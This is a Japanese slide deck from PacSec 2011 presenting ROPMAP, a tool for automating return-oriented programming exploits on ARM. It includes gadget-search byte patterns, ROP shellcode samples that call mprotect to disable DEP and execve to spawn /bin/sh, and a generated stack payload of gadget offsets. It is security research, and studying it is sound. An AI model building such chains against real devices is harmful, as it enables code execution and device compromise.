440 likes | 559 Views
ARM 攻略の ROPMAP. Long Le – Thanh Nguyen {longld, thanh }@ vnsecurity.net. PacSec 2011. 最初に自己紹介. VNSECURITY.NET CLGT CTF チーム 免責事項:ここで紹介する見解と研究は、 VNSECURITY の研究グループによるものであり、他のいかなる組織・企業の見解や研究を代表するものではありません. きっかけ. 公開されている ARM ROP が無い objdump / otool + grep シェルコード・ペイロードはハードコードされて い る
E N D
ARM 攻略のROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011
最初に自己紹介 • VNSECURITY.NET • CLGT CTF チーム 免責事項:ここで紹介する見解と研究は、VNSECURITYの研究グループによるものであり、他のいかなる組織・企業の見解や研究を代表するものではありません ARM EXPLOITATION ROPMAP
きっかけ • 公開されているARM ROPが無い • objdump/otool+ grep • シェルコード・ペイロードはハードコードされている • 簡単なガジェットが複雑なオートメーションを打ち負かせる • comex’sjailbreakme ARM EXPLOITATION ROPMAP
本セッションの内容 • X86 ROPツールキットをARMに拡張 • ROPシェルコードのための中間言語 • ARM用のROP自動化の実装 • ガジェット・チェーンに対してROPシェルコード • ペイロードに対してガジェット・チェーン ARM EXPLOITATION ROPMAP
プレゼン終了後には・・・ ARM EXPLOITATION ROPMAP
ROPツールキットをARMに拡張 ARM EXPLOITATION ROPMAP
X86からARMへ:レジスタ ARM EXPLOITATION ROPMAP
X86からARMへ:アセンブリ ARM EXPLOITATION ROPMAP
X86からARMへ:シェルコード ARM EXPLOITATION ROPMAP
X86からARMへ:ROP ガジェット ARM EXPLOITATION ROPMAP
ガジェットの検出 • 「RET」を検索 • pop {…, pc} • “.\x80\xbd\xe8” (ARM) • “.\xbd” (THUMB) • bx Rm / blxRm • “.\xff\x2f\xe1” (ARM) • “.\x47” (THUMB) • 後ろ方向にディスアセンブル • 2バイトから4バイトおきに • 自身のARMディスアセンブリライブラリを使用してみる ARM EXPLOITATION ROPMAP
クイック・デモ ARM EXPLOITATION ROPMAP
ROPシェルコードのための中間言語 ARM EXPLOITATION ROPMAP
ROPシェルコード • 一般的なペイロード • ライブラリ・コールを連続実行 • DEP/NXを無効化 • 通常のシェルコードを転送・実行 • 一般的なオペレーション • レジスタの割当 • データの異動 • 関数呼び出しかsyscallを実行 source: comex’s star_ framework ARM EXPLOITATION ROPMAP
ROP中間言語 • 簡単な疑似アセンブルコード • 6つの命令 • ネイティブ・レジスタ • 読み出し・書き込み・実装が容易 ARM EXPLOITATION ROPMAP
ROP IL 命令 LHS RHS • ROP命令 • LOAD • STORE • ADJUST • CALL • SYSCALL • NOP • LHS/RHSタイプ • REG:レジスタ • VAL: 値 • REF:レジスタの参照先 • MEM:メモリの参照先 • NON ARM EXPLOITATION ROPMAP
ROP IL:ロード • レジスタに値をロード ARM EXPLOITATION ROPMAP
ROP IL:格納 • レジスタに値を格納 ARM EXPLOITATION ROPMAP
ROP IL:調整 • レジスタの値に加減算を行う ARM EXPLOITATION ROPMAP
ROP IL:呼び出し • 関数を呼び出す・関数にジャンプする ARM EXPLOITATION ROPMAP
ROP IL:システムコール • システムコール ARM EXPLOITATION ROPMAP
シェルコードのサンプル(1) • mprotect(writable, size, flag) • LOAD r0, #writable • LOAD r1, #size • LOAD r2, #flag • LOAD r7, #0x7d • SYSCALL • execve(“/bin/sh”, 0, 0): known “/bin/sh” address • LOAD r0, #binsh_address • LOAD r1, #0 • LOAD r2, #0 • LOAD r7, #0xb • SYSCALL ARM EXPLOITATION ROPMAP
シェルコードのサンプル(2) • execve(“/bin/sh”, 0, 0): use known writable data region to store “/bin/sh” • STORE [#writable], #0x6e69622f ; “/bin” • STORE [#writable+0x4], #0x68732f ; “/sh” • LOAD r0, #writable • LOAD r1, #0 • LOAD r2, #0 • LOAD r7, #0xb • SYSCALL ARM EXPLOITATION ROPMAP
高級ラッパーの例(1) • syscall(sysnum, *args) • LOAD r0, #arg1 • LOAD r1, #arg2 • LOAD r2, #arg3 • LOAD r3, #arg4 • LOAD r4, #arg5 • LOAD r5, #arg6 • LOAD r7, #sysnum • SYSCALL ARM EXPLOITATION ROPMAP
高級ラッパーの例(2) • funcall(address, *args) • LOAD r0, #arg1 • LOAD r1, #arg2 • LOAD r2, #arg3 • LOAD r3, #arg4 • $arg5 • … • CALL #address ARM EXPLOITATION ROPMAP
高級ラッパーの例(3) • save_result(target) • STORE [#target], r0 • write4_with_offset(reference, value, offset) • LOAD r0, [#reference] • ADJUST r0, #offset • STORE [r0], #value ARM EXPLOITATION ROPMAP
ROPMAPの実装 ARM EXPLOITATION ROPMAP
ROPの自動化 • 自動化は手間がかかる • 命令の関数化 • SMT/STPソルバ • 既存のツールキット • DEPLib • ミニ ASM 言語 • ARMはサポートしていない • Roppery (WOLF) • REIL • 公になっていない ARM EXPLOITATION ROPMAP
ropmap • ROPMAP • ROP命令をASMガジェットに直接マッピング • LHS/RHSタイプはASMガジェットで使用可能 • Primitiveガジェット • CHAINMAP • ROP命令を間接的にROPチェインにマッピング • LHS/RHSタイプはASMガジェットで使用不能 • ガジェットを検索・連結するためのエンジン • ペイロードを生成 ARM EXPLOITATION ROPMAP
ROPMAPサンプル:ロード mov Rm, #value mov Rm, Rn pop {Rm, …, pc} add Rm, Rn LOAD Rm, #value LOAD Rm, Rn ldr Rm, [sp …] sub Rm, Rn LOAD Rm, [Rn] ldr Rm, [Rn …] LOAD Rn, #addr LOAD Rm, [Rn] LOAD Rm, [#addr] ARM EXPLOITATION ROPMAP
ROPMAPサンプル:格納 STORE [Rm], Rn str Rn, [Rm …] LOAD Rn, #value STORE [Rm], Rn STORE [Rm], #value LOAD Rn, [#addr] STORE [Rm], Rn STORE [Rm], [#addr] LOAD Rn, [#target] STORE [Rn], Rm STORE [#target], Rm LOAD Rm, #value STORE [#target], Rm STORE [#target], #value LOAD Rn, [#addr] STORE [#target], Rn STORE [#target], [#addr] ARM EXPLOITATION ROPMAP
アセンブラ・円にjん • 前提 • バイナリは十分なPrimitiveガジェットを持っている • Primitiveガジェットを繋げる方が複雑なガジェットを見つけるよりも簡単 • アプローチ • ガジェット候補を探す • ガジェットをソートする(簡単なスコアリング) • ペアマッチングでガジェットを連結 • LHS 対 RHS • LHS 対 LHS • 基本的な検証ルールを適用 • 値を突合 • レジスタをチェック ARM EXPLOITATION ROPMAP
ペアを突合 pop {r4 pc} MATCHED MATCHED MATCHED ldr r0 [r4 #4] ; pop {r4 r5 r6 r7 pc} STORE [#target], [#addr] pop {r4 pc} str r0 [r4 #16] ; mov r0 r3 ; pop {r1 r2 r3 r4 r5 pc} ARM EXPLOITATION ROPMAP
ガジェット検証 ldr r6 [r5 #4] ; sub r0 r0 r6 ; pop {r4 r5 r6 pc} LOAD r6, [r5] TAINTED TAINTED ldr r1 [r5 #36] ; ldr r5 [r4 #36] ; sub r0 r1 r5 ; add sp sp #36 ; pop {r4 r5 r6 r7 pc} STORE [r1], [r5] ARM EXPLOITATION ROPMAP
ROPシェルコードからガジェット・チェーンまでROPシェルコードからガジェット・チェーンまで • execve(“/bin/sh”, 0, 0) # ROP code: load r0, #0xdeadbeef --------------------------------------------------------------------0xdc68L : pop {r0 pc} ;; --------------------------------------------------------------------# ROP code: load r1, #0 ------------------------------------------------------------------- 0x16a6dL : pop {r1 r7 pc} ;; -------------------------------------------------------------------- # ROP code: load r2, #0 -------------------------------------------------------------------- 0x30629L : pop {r2 r3 r6 pc} ;; --------------------------------------------------------------------# ROP code: load r7, #0xb --------------------------------------------------------------------0x16a6dL : pop {r1 r7 pc} ;; --------------------------------------------------------------------# ROP code: syscall --------------------------------------------------------------------0xc734L : svc 0x00000000 ; pop {r4 r7} ; bx lr ;; -------------------------------------------------------------------- ARM EXPLOITATION ROPMAP
ペイロード生成(1) • 入力 • ROP IL命令 • ガジェット • 定数 • 制約と値を結合 • 出力 • スタック・レイアウト • 出力値は高級ROPラッパーに使用可能 • サイズ最適化は行わない ARM EXPLOITATION ROPMAP
ペイロード生成(2) • アプローチ • ガジェット・エミュレーション • スタック関連の操作をエミュレート • スタック位置に必要な値を再書き込み • LHS/RHS リバース・マッチング • 簡単な数学的演算 • 次の命令へのバインディング値をフィードバック ARM EXPLOITATION ROPMAP
リバース・マッチング r4 = #address - 4 MATCHED (1) MATCHED (2) pop {r4 pc} LOAD r0, [#address] ldr r0 [r4#4] ; pop {r4 r5 r6 r7 pc} r4 = #address - 4 ARM EXPLOITATION ROPMAP
ガジェット・エミュレーション • 単一のガジェット • スタック関係のオペレーションのみ JUNK+4 uninitialized registers JUNK+3 SP = SP+3 JUNK+2 JUNK+2 SP r7 = JUNK+2 JUNK+1 JUNK+1 r3 = JUNK+1 JUNK JUNK r2 = JUNK SP Execute pop {r2 r3 r7 pc} ;; Init state r2 = 0x0 r7 = 0xb value constraints ARM EXPLOITATION ROPMAP
スタックへの再書き込み • ペイロード=スタック上の値 SP SP = SP+3 0xb JUNK+2 SP r7 = JUNK+2 JUNK+1 JUNK+1 r3 = JUNK+1 pop {r2 r3 r7 pc} ;; 0x0 JUNK Payload r2 = JUNK r2 = 0x0 r7 = 0xb Write back ARM EXPLOITATION ROPMAP
アウトプット・ペイロード • execve(“/bin/sh”, 0, 0) # ROP code: load r0, #0xdeadbeef # pop {r0 pc} [ BASE+0x2d38, 0xdeadbeef ] # ------------------------------------------------------------------ # ROP code: load r1, #0 # pop {r1 r7 pc} [ BASE+0xbb3d, 0x0, 0x4b4e554b ] # ------------------------------------------------------------------ # ROP code: load r2, #0 # pop {r2 r3 r6 pc} [ BASE+0x256f9, 0x0, 0x4b4e554b, 0x4b4e554c ] # ------------------------------------------------------------------ # ROP code: load r7 # pop {r1 r7 pc} [ BASE+0xbb3d, 0x0, 0xb ] # ------------------------------------------------------------------ # ROP code: syscall # svc 0x00000000 ; pop {r4 r7} ; bx lr [ BASE+0x1804, 0x4b4e554a, 0xb ] # ------------------------------------------------------------------ ARM EXPLOITATION ROPMAP
デモ ARM EXPLOITATION ROPMAP
今後の計画 • アウトプット・ペイロードの最適化 • 重複の減少 • ARM Thumb-2をサポート • より多くのガジェットが使用可能 • x86/x86_64へ拡張(現在は一部のみ) • 条件付きのジャンプ・ループ命令 ARM EXPLOITATION ROPMAP
ご清聴ありがとうございました。ご質問をどうぞご清聴ありがとうございました。ご質問をどうぞ ARM EXPLOITATION ROPMAP